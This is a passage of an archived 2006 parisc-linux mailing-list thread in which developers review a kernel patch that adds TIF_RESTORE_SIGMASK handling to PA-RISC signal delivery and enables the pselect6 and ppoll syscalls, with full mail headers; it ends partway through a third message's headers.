 #define TIF_POLLING_NRFLAG	4	/* true if poll_idle() is polling TIF_NEED_RESCHED */
 #define TIF_32BIT               5       /* 32 bit binary */
 #define TIF_MEMDIE		6
+#define TIF_RESTORE_SIGMASK	7	/* restore saved signal mask */
 
 #define _TIF_SYSCALL_TRACE	(1 << TIF_SYSCALL_TRACE)
 #define _TIF_NOTIFY_RESUME	(1 << TIF_NOTIFY_RESUME)
@@ -69,9 +70,10 @@ #define _TIF_SIGPENDING		(1 << TIF_SIGPE
 #define _TIF_NEED_RESCHED	(1 << TIF_NEED_RESCHED)
 #define _TIF_POLLING_NRFLAG	(1 << TIF_POLLING_NRFLAG)
 #define _TIF_32BIT		(1 << TIF_32BIT)
+#define _TIF_RESTORE_SIGMASK	(1 << TIF_RESTORE_SIGMASK)
 
 #define _TIF_USER_WORK_MASK     (_TIF_NOTIFY_RESUME | _TIF_SIGPENDING | \
-                                 _TIF_NEED_RESCHED)
+                                 _TIF_NEED_RESCHED | _TIF_RESTORE_SIGMASK)
 
 #endif /* __KERNEL__ */
 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFT] TIF_RESTORE_SIGMASK
Date: Mon, 28 Aug 2006 13:12:01 -0400
Lines: 229
Approved: news@gmane.org
Message-ID: <119aab440608281012p293ff783u1472ed66ee9410a2@mail.gmail.com>
References: <20060828011528.GB6785@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624162 20763 80.91.229.3 (22 Nov 2014 02:42:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Kyle McMartin" <kyle@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Aug 2006 17:12:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx042) with SMTP; 28 Aug 2006 19:12:14 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 693DC7D719;
	Mon, 28 Aug 2006 11:12:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25167-07; Mon, 28 Aug 2006 11:12:09 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A44177D71A;
	Mon, 28 Aug 2006 11:12:07 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 943147D6FD
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Aug 2006 11:12:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25167-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Aug 2006 11:12:02 -0600 (MDT)
Original-Received: from wr-out-0506.google.com (wr-out-0506.google.com [64.233.184.238])
	by free.linux.hp.com (Postfix) with ESMTP id 48CA77D6FA
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Aug 2006 11:12:02 -0600 (MDT)
Original-Received: by wr-out-0506.google.com with SMTP id i7so437142wra
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Aug 2006 10:12:01 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=PoRcxhGaWgx6tZyUG5HgJIzFU/UA8gEt1NEzVCjzSH5U0PSBsjUjjyUPvLkstVVKssOlwJRFgzXswjv5L+3UEajMCU9ajK1OJ3KMI7x0RMdXn9P5jrOchov9+Mrgxcrc+mxuKtx97rXAN5VCSG95/Q1GbQuMdjcWvOQMnzJG48k=
Original-Received: by 10.90.25.3 with SMTP id 3mr1147630agy;
	Mon, 28 Aug 2006 10:12:01 -0700 (PDT)
Original-Received: by 10.90.54.16 with HTTP; Mon, 28 Aug 2006 10:12:01 -0700 (PDT)
In-Reply-To: <20060828011528.GB6785@athena.road.mcmartin.ca>
Content-Disposition: inline
X-Google-Sender-Auth: a1f992b7d38529a0
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 2BXAcPcVTXs9XKyRbmQ5JZRKRzdyMsOC
Status: RO
X-Status: RC
X-KMail-EncryptionState: N
X-KMail-SignatureState: N
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23921

Kyle,

Could you explain what this change does in a paragraph or two? These
types of changes are not always self-explanatory.

> diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
> index 663631c..5405a99 100644
> --- a/arch/parisc/kernel/entry.S
> +++ b/arch/parisc/kernel/entry.S
> @@ -1089,14 +1089,13 @@ intr_do_signal:
>         CMPIB= 0,%r20,intr_restore /* backward */
>         nop
>
> -       copy    %r0, %r24                       /* unsigned long in_syscall */
> -       copy    %r16, %r25                      /* struct pt_regs *regs */
> +       copy    %r0, %r25                       /* unsigned long in_syscall */
>  #ifdef CONFIG_64BIT
>         ldo     -16(%r30),%r29                  /* Reference param save area */
>  #endif
>
> -       BL      do_signal,%r2
> -       copy    %r0, %r26                       /* sigset_t *oldset = NULL */
> +       BL      do_notify_resume,%r2
> +       copy    %r16, %r26                      /* struct pt_regs *regs */

OK, calling do_notify_resume changes the order of the input arguments.
Is this what other arches do on this path?

>         b       intr_check_sig
>         nop
> @@ -2267,16 +2266,14 @@ syscall_do_signal:
>            consistent with all the relevant state of the process
>            before the syscall.  We need to verify this. */
>         LDREG   TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE(%r30),%r1
> -       ldo     TASK_REGS(%r1), %r25            /* struct pt_regs *regs */
> -       reg_save %r25
> -
> -       ldi     1, %r24                         /* unsigned long in_syscall */
> +       ldo     TASK_REGS(%r1), %r26            /* struct pt_regs *regs */
> +       reg_save %r26
>
>  #ifdef CONFIG_64BIT
>         ldo     -16(%r30),%r29                  /* Reference param save area */
>  #endif
> -       BL      do_signal,%r2
> -       copy    %r0, %r26                       /* sigset_t *oldset = NULL */
> +       BL      do_notify_resume,%r2
> +       ldi     1, %r25                         /* long in_syscall */

OK, similar changes.

>         LDREG   TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE(%r30),%r1
>         ldo     TASK_REGS(%r1), %r20            /* reload pt_regs */
> diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
> index 9a04272..e8de263 100644
> --- a/arch/parisc/kernel/signal.c
> +++ b/arch/parisc/kernel/signal.c
> @@ -58,8 +58,6 @@ #define _BLOCKABLE (~(sigmask(SIGKILL) |
>   * this. */
>  #define A(__x) ((unsigned long)(__x))
>
> -int do_signal(sigset_t *oldset, struct pt_regs *regs, int in_syscall);
> -
>  /*
>   * Atomically swap in the new signal mask, and wait for a signal.
>   */
> @@ -93,21 +91,20 @@ #endif
>                         return -EFAULT;
>         }
>
> +       /* sigmask(SIGKILL) | sigmask(SIGSTOP) */
>         sigdelsetmask(&newset, ~_BLOCKABLE);

Could you expand this comment please.

>
>         spin_lock_irq(&current->sighand->siglock);
> -       saveset = current->blocked;
> +       current->saved_sigmask = current->blocked;

Ok.

>         current->blocked = newset;
>         recalc_sigpending();
>         spin_unlock_irq(&current->sighand->siglock);
>
> -       regs->gr[28] = -EINTR;
> -       while (1) {
> -               current->state = TASK_INTERRUPTIBLE;
> -               schedule();
> -               if (do_signal(&saveset, regs, 1))
> -                       return -EINTR;
> -       }
> +       current->state = TASK_INTERRUPTIBLE;
> +       schedule();
> +       set_thread_flag(TIF_RESTORE_SIGMASK);
> +
> +       return -ERESTARTNOHAND;

So instead of waiting for a signal we delay the do_signal call until later.
Could you help me verify why we returned -EINTR and set gr28 to -EINTR?
Is it ok to return -ERESTARTNOHAND now?

>  }
>
>  /*
> @@ -528,12 +525,13 @@ handle_signal(unsigned long sig, siginfo
>   * us due to the magic of delayed branching.
>   */
>
> -asmlinkage int
> -do_signal(sigset_t *oldset, struct pt_regs *regs, int in_syscall)
> +asmlinkage void
> +do_signal(struct pt_regs *regs, long in_syscall)
>  {
>         siginfo_t info;
>         struct k_sigaction ka;
>         int signr;
> +       sigset_t *oldset;
>
>         DBG(1,"\ndo_signal: oldset=0x%p, regs=0x%p, sr7 %#lx, in_syscall=%d\n",
>                oldset, regs, regs->sr[7], in_syscall);
> @@ -543,7 +541,9 @@ do_signal(sigset_t *oldset, struct pt_re
>            we would be called in that case, but for some reason we
>            are. */
>
> -       if (!oldset)
> +       if (test_thread_flag(TIF_RESTORE_SIGMASK))
> +               oldset = &current->saved_sigmask;
> +       else
>                 oldset = &current->blocked;

Ok.

>         DBG(1,"do_signal: oldset %08lx / %08lx\n",
> @@ -592,7 +592,9 @@ do_signal(sigset_t *oldset, struct pt_re
>                 if (handle_signal(signr, &info, &ka, oldset, regs, in_syscall)) {
>                         DBG(1,KERN_DEBUG "do_signal: Exit (success), regs->gr[28] = %ld\n",
>                                 regs->gr[28]);
> -                       return 1;
> +                       if (test_thread_flag(TIF_RESTORE_SIGMASK))
> +                               clear_thread_flag(TIF_RESTORE_SIGMASK);
> +                       return;

OK, we assume the signal has been handled.

>                 }
>         }
>         /* end of while(1) looping forever if we can't force a signal */
> @@ -653,5 +655,17 @@ #endif
>         DBG(1,"do_signal: Exit (not delivered), regs->gr[28] = %ld\n",
>                 regs->gr[28]);
>
> -       return 0;
> +       if (test_thread_flag(TIF_RESTORE_SIGMASK)) {
> +               clear_thread_flag(TIF_RESTORE_SIGMASK);
> +               sigprocmask(SIG_SETMASK, &current->saved_sigmask, NULL);
> +       }
> +
> +       return;
> +}

Is this behaviour correct? We have not delivered the signal, so we
restore the signal mask and clear the TIF_RESTORE_SIGMASK flag?

> +
> +void do_notify_resume(struct pt_regs *regs, long in_syscall)
> +{
> +       if (test_thread_flag(TIF_SIGPENDING) ||
> +           test_thread_flag(TIF_RESTORE_SIGMASK))
> +               do_signal(regs, in_syscall);
>  }

OK, I assume this is similar to all other arches.

> diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
> index 701d66a..8ee1576 100644
> --- a/arch/parisc/kernel/syscall_table.S
> +++ b/arch/parisc/kernel/syscall_table.S
> @@ -377,8 +377,8 @@ #endif
>         ENTRY_SAME(inotify_init)
>         ENTRY_SAME(inotify_add_watch)   /* 270 */
>         ENTRY_SAME(inotify_rm_watch)
> -       ENTRY_SAME(ni_syscall)          /* 271 ENTRY_COMP(pselect6) */
> -       ENTRY_SAME(ni_syscall)          /* 272 ENTRY_COMP(ppoll) */
> +       ENTRY_COMP(pselect6)
> +       ENTRY_COMP(ppoll)
>         ENTRY_SAME(migrate_pages)
>         ENTRY_COMP(openat)              /* 275 */
>         ENTRY_SAME(mkdirat)

Check these changes in, glibc enables these based on the unistd.h
definitions. Might aswell enable them even if they don't work yet.

> diff --git a/include/asm-parisc/thread_info.h b/include/asm-parisc/thread_info.h
> index f2f83b0..949314c 100644
> --- a/include/asm-parisc/thread_info.h
> +++ b/include/asm-parisc/thread_info.h
> @@ -62,6 +62,7 @@ #define TIF_NEED_RESCHED      3       /* rescheduli
>  #define TIF_POLLING_NRFLAG     4       /* true if poll_idle() is polling TIF_NEED_RESCHED */
>  #define TIF_32BIT               5       /* 32 bit binary */
>  #define TIF_MEMDIE             6
> +#define TIF_RESTORE_SIGMASK    7       /* restore saved signal mask */
>
>  #define _TIF_SYSCALL_TRACE     (1 << TIF_SYSCALL_TRACE)
>  #define _TIF_NOTIFY_RESUME     (1 << TIF_NOTIFY_RESUME)
> @@ -69,9 +70,10 @@ #define _TIF_SIGPENDING              (1 << TIF_SIGPE
>  #define _TIF_NEED_RESCHED      (1 << TIF_NEED_RESCHED)
>  #define _TIF_POLLING_NRFLAG    (1 << TIF_POLLING_NRFLAG)
>  #define _TIF_32BIT             (1 << TIF_32BIT)
> +#define _TIF_RESTORE_SIGMASK   (1 << TIF_RESTORE_SIGMASK)
>
>  #define _TIF_USER_WORK_MASK     (_TIF_NOTIFY_RESUME | _TIF_SIGPENDING | \
> -                                 _TIF_NEED_RESCHED)
> +                                 _TIF_NEED_RESCHED | _TIF_RESTORE_SIGMASK)
>
>  #endif /* __KERNEL__ */

These header changes are OK. Why don't you check these in first as a
Step 1 while we review the rest of the patch.

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFT] TIF_RESTORE_SIGMASK
Date: Mon, 28 Aug 2006 14:51:32 -0400
Lines: 190
Approved: news@gmane.org
Message-ID: <20060828185132.GB11462@athena.road.mcmartin.ca>
References: <20060828011528.GB6785@athena.road.mcmartin.ca>
	<119aab440608281012p293ff783u1472ed66ee9410a2@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624162 20765 80.91.229.3 (22 Nov 2014 02:42:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 Kyle McMartin <kyle@parisc-linux.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Aug 2006 18:52:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx074) with SMTP; 28 Aug 2006 20:52:55 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3B1837D76C;
	Mon, 28 Aug 2006 12:52:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31147-03; Mon, 28 Aug 2006 12:52:53 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1B1DA7D750;
	Mon, 28 Aug 2006 12:52:51 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C48357D74C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Aug 2006 12:52:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27647-10 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Aug 2006 12:52:44 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 5CB607D743
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Aug 2006 12:52:44 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id A47F058410C;
	Mon, 28 Aug 2006 14:52:43 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 9817158410A;
	Mon, 28 Aug 2006 14:52:41 -0400 (EDT)
Original-Received: from athena.road.mcmartin.ca (firewall.oeone.com [216.191.248.101])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 236FD23E02;
	Mon, 28 Aug 2006 14:52:41 -0400 (EDT)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id B67C93B06A; Mon, 28 Aug 2006 14:51:32 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <119aab440608281012p293ff783u1472ed66ee9410a2@mail.gmail.com>
User-Agent: Mutt/1.5.12-2006-07-14
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 6VeYLPFJTlIvULeQeGhrp79GU2poZRk3
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23922

On Mon, Aug 28, 2006 at 01:12:01PM -0400, Carlos O'Donell wrote:
> Could you explain what this change does in a paragraph or two? These
> types of changes are not always self-explanatory.
> 

Effectively these changes defer calling do_signal from rt_sigsuspend
by saving the saved signal mask in the task_struct.

> OK, calling do_notify_resume changes the order of the input arguments.
> Is this what other arches do on this path?
> 

No, we don't change the order, we just remove passing the oldset
from assembly since it is now saved in task_struct (oldset was NULL
on entry to do_signal unless it came from sigsuspend previously.)

> >        b       intr_check_sig
> >        nop
> >@@ -2267,16 +2266,14 @@ syscall_do_signal:
> >           consistent with all the relevant state of the process
> >           before the syscall.  We need to verify this. */
> >        LDREG   TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE(%r30),%r1
> >-       ldo     TASK_REGS(%r1), %r25            /* struct pt_regs *regs */
> >-       reg_save %r25
> >-
> >-       ldi     1, %r24                         /* unsigned long 
> >in_syscall */
> >+       ldo     TASK_REGS(%r1), %r26            /* struct pt_regs *regs */
> >+       reg_save %r26
> >
> > #ifdef CONFIG_64BIT
> >        ldo     -16(%r30),%r29                  /* Reference param save 
> >        area */
> > #endif
> >-       BL      do_signal,%r2
> >-       copy    %r0, %r26                       /* sigset_t *oldset = NULL 
> >*/
> >+       BL      do_notify_resume,%r2
> >+       ldi     1, %r25                         /* long in_syscall */
> 
> OK, similar changes.
> 

We have two paths to deliver signals, return from an interruption,
and return from a syscall. Both are subtlely different, but pretty
much logically the same where I'm changing them.

> >        LDREG   TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE(%r30),%r1
> >        ldo     TASK_REGS(%r1), %r20            /* reload pt_regs */
> >diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
> >index 9a04272..e8de263 100644
> >--- a/arch/parisc/kernel/signal.c
> >+++ b/arch/parisc/kernel/signal.c
> >@@ -58,8 +58,6 @@ #define _BLOCKABLE (~(sigmask(SIGKILL) |
> >  * this. */
> > #define A(__x) ((unsigned long)(__x))
> >
> >-int do_signal(sigset_t *oldset, struct pt_regs *regs, int in_syscall);
> >-
> > /*
> >  * Atomically swap in the new signal mask, and wait for a signal.
> >  */
> >@@ -93,21 +91,20 @@ #endif
> >                        return -EFAULT;
> >        }
> >
> >+       /* sigmask(SIGKILL) | sigmask(SIGSTOP) */
> >        sigdelsetmask(&newset, ~_BLOCKABLE);
> 
> Could you expand this comment please.
> 

_BLOCKABLE is ~(sigmask(SIGKILL) | sigmask(SIGSTOP))
ergo, ~_BLOCKABLE is... you get the idea.

> >
> >        spin_lock_irq(&current->sighand->siglock);
> >-       saveset = current->blocked;
> >+       current->saved_sigmask = current->blocked;
> 
> Ok.
> 
> >        current->blocked = newset;
> >        recalc_sigpending();
> >        spin_unlock_irq(&current->sighand->siglock);
> >
> >-       regs->gr[28] = -EINTR;
> >-       while (1) {
> >-               current->state = TASK_INTERRUPTIBLE;
> >-               schedule();
> >-               if (do_signal(&saveset, regs, 1))
> >-                       return -EINTR;
> >-       }
> >+       current->state = TASK_INTERRUPTIBLE;
> >+       schedule();
> >+       set_thread_flag(TIF_RESTORE_SIGMASK);
> >+
> >+       return -ERESTARTNOHAND;
> 
> So instead of waiting for a signal we delay the do_signal call until later.
> Could you help me verify why we returned -EINTR and set gr28 to -EINTR?
> Is it ok to return -ERESTARTNOHAND now?
> 

This as other arches do. I have no idea, but if we're calling rt_sigsuspend
odds are we're going to do the do_signal on return from this same syscall...

> > }
> >
> > /*
> >@@ -528,12 +525,13 @@ handle_signal(unsigned long sig, siginfo
> >  * us due to the magic of delayed branching.
> >  */
> >
> >-asmlinkage int
> >-do_signal(sigset_t *oldset, struct pt_regs *regs, int in_syscall)
> >+asmlinkage void
> >+do_signal(struct pt_regs *regs, long in_syscall)
> > {
> >        siginfo_t info;
> >        struct k_sigaction ka;
> >        int signr;
> >+       sigset_t *oldset;
> >
> >        DBG(1,"\ndo_signal: oldset=0x%p, regs=0x%p, sr7 %#lx, 
> >        in_syscall=%d\n",
> >               oldset, regs, regs->sr[7], in_syscall);
> >@@ -543,7 +541,9 @@ do_signal(sigset_t *oldset, struct pt_re
> >           we would be called in that case, but for some reason we
> >           are. */
> >
> >-       if (!oldset)
> >+       if (test_thread_flag(TIF_RESTORE_SIGMASK))
> >+               oldset = &current->saved_sigmask;
> >+       else
> >                oldset = &current->blocked;
> 
> Ok.
> 
> >        DBG(1,"do_signal: oldset %08lx / %08lx\n",
> >@@ -592,7 +592,9 @@ do_signal(sigset_t *oldset, struct pt_re
> >                if (handle_signal(signr, &info, &ka, oldset, regs, 
> >                in_syscall)) {
> >                        DBG(1,KERN_DEBUG "do_signal: Exit (success), 
> >                        regs->gr[28] = %ld\n",
> >                                regs->gr[28]);
> >-                       return 1;
> >+                       if (test_thread_flag(TIF_RESTORE_SIGMASK))
> >+                               clear_thread_flag(TIF_RESTORE_SIGMASK);
> >+                       return;
> 
> OK, we assume the signal has been handled.
> 
> >                }
> >        }
> >        /* end of while(1) looping forever if we can't force a signal */
> >@@ -653,5 +655,17 @@ #endif
> >        DBG(1,"do_signal: Exit (not delivered), regs->gr[28] = %ld\n",
> >                regs->gr[28]);
> >
> >-       return 0;
> >+       if (test_thread_flag(TIF_RESTORE_SIGMASK)) {
> >+               clear_thread_flag(TIF_RESTORE_SIGMASK);
> >+               sigprocmask(SIG_SETMASK, &current->saved_sigmask, NULL);
> >+       }
> >+
> >+       return;
> >+}
> 
> Is this behaviour correct? We have not delivered the signal, so we
> restore the signal mask and clear the TIF_RESTORE_SIGMASK flag?
> 

        /* if there's no signal to deliver, we just put the saved sigmask
         * back
         */

is the comment from sparc64.

> These header changes are OK. Why don't you check these in first as a
> Step 1 while we review the rest of the patch.
> 

Not really much point...
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFT] TIF_RESTORE_SIGMASK
Date: Mon, 28 Aug 2006 16:21:41 -0400
Lines: 374
Approved: news@gmane.org
Message-ID: <20060828202141.GC11462@athena.road.mcmartin.ca>
References: <20060828011528.GB6785@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624163 20766 80.91.229.3 (22 Nov 2014 02:42:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Aug 2006 20:23:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx009) with SMTP; 28 Aug 2006 22:23:04 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 74E5B7D766;
	Mon, 28 Aug 2006 14:22:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01927-08; Mon, 28 Aug 2006 14:22:59 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8EFC27D767;
	Mon, 28 Aug 2006 14:22:57 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 62D6F7D758
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Aug 2006 14:22:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01927-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Aug 2006 14:22:53 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id E386D7D754
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Aug 2006 14:22:52 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 722905840FF;
	Mon, 28 Aug 2006 16:22:52 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 1E4D45840FD;
	Mon, 28 Aug 2006 16:22:51 -0400 (EDT)
